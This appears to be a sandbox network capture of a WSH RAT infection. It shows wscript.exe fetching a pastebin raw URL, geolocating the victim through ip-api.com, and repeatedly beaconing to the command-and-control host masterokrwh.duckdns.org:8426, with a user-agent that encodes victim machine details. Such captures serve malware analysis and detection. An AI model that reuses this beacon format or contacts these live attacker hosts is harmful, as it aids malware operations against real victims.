                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Host: pastebin.com
                                                                                                                                                                                      May 10, 2024 21:31:54.834064960 CEST472INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:54 GMT
                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                      Content-Length: 167
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      Cache-Control: max-age=3600
                                                                                                                                                                                      Expires: Fri, 10 May 2024 20:31:54 GMT
                                                                                                                                                                                      Location: https://pastebin.com/raw/NsQ5qTHr
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a2b4dcce263-ORD
                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                      Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      1192.168.2.449778172.67.19.24801544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:31:58.589097023 CEST182OUTGET /raw/NsQ5qTHr HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Host: pastebin.com
                                                                                                                                                                                      May 10, 2024 21:31:58.711167097 CEST472INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:58 GMT
                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                      Content-Length: 167
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      Cache-Control: max-age=3600
                                                                                                                                                                                      Expires: Fri, 10 May 2024 20:31:58 GMT
                                                                                                                                                                                      Location: https://pastebin.com/raw/NsQ5qTHr
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a438ae96369-ORD
                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                      Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      2192.168.2.449780208.95.112.1801544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:31:59.767064095 CEST262OUTGET /json/ HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: ip-api.com
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      May 10, 2024 21:31:59.954896927 CEST485INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:58 GMT
                                                                                                                                                                                      Content-Type: application/json; charset=utf-8
                                                                                                                                                                                      Content-Length: 308
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      X-Ttl: 60
                                                                                                                                                                                      X-Rl: 44
                                                                                                                                                                                      Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 49 4c 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 49 6c 6c 69 6e 6f 69 73 22 2c 22 63 69 74 79 22 3a 22 43 68 69 63 61 67 6f 22 2c 22 7a 69 70 22 3a 22 36 30 36 36 36 22 2c 22 6c 61 74 22 3a 34 31 2e 38 37 38 31 2c 22 6c 6f 6e 22 3a 2d 38 37 2e 36 32 39 38 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 42 69 6e 62 6f 78 20 47 6c 6f 62 61 6c 20 53 65 72 76 69 63 65 73 20 53 52 4c 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 7d
                                                                                                                                                                                      Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"IL","regionName":"Illinois","city":"Chicago","zip":"60666","lat":41.8781,"lon":-87.6298,"timezone":"America/Chicago","isp":"Datacamp Limited","org":"Binbox Global Services SRL","as":"AS212238 Datacamp Limited","query":"81.181.62.34"}


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      3192.168.2.44978145.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:00.451493979 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      4192.168.2.44978245.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:06.998425007 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      5192.168.2.44978345.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:12.519074917 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      6192.168.2.44978545.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:18.321299076 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      7192.168.2.44978945.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:23.793919086 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      8192.168.2.44979045.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:29.388653040 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      9192.168.2.449793172.67.19.24806936C:\Windows\System32\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:33.483195066 CEST182OUTGET /raw/NsQ5qTHr HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Host: pastebin.com
                                                                                                                                                                                      May 10, 2024 21:32:33.609822989 CEST472INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:32:33 GMT
                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                      Content-Length: 167
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      Cache-Control: max-age=3600
                                                                                                                                                                                      Expires: Fri, 10 May 2024 20:32:33 GMT
                                                                                                                                                                                      Location: https://pastebin.com/raw/NsQ5qTHr
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5b1dab4f0262-ORD
                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                      Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      10192.168.2.44979545.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:36.094227076 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      11192.168.2.44979645.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:41.618398905 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      12192.168.2.44979745.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:47.103341103 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      13192.168.2.44979945.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:52.908211946 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      14192.168.2.44980045.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:32:59.305277109 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      15192.168.2.44980145.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:04.905714989 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      16192.168.2.44980245.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:11.552727938 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      17192.168.2.44980345.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:17.054284096 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      18192.168.2.44980445.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:22.607980013 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      19192.168.2.44980545.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:28.102726936 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      20192.168.2.44980645.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:33.603192091 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      21192.168.2.44980745.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:39.095869064 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      22192.168.2.44980845.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:44.596858025 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      23192.168.2.44980945.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:50.098825932 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      24192.168.2.44981045.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:33:55.568789959 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      25192.168.2.44981145.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:34:01.098810911 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      26192.168.2.44981245.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:34:08.142730951 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      27192.168.2.44981345.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:34:13.595581055 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
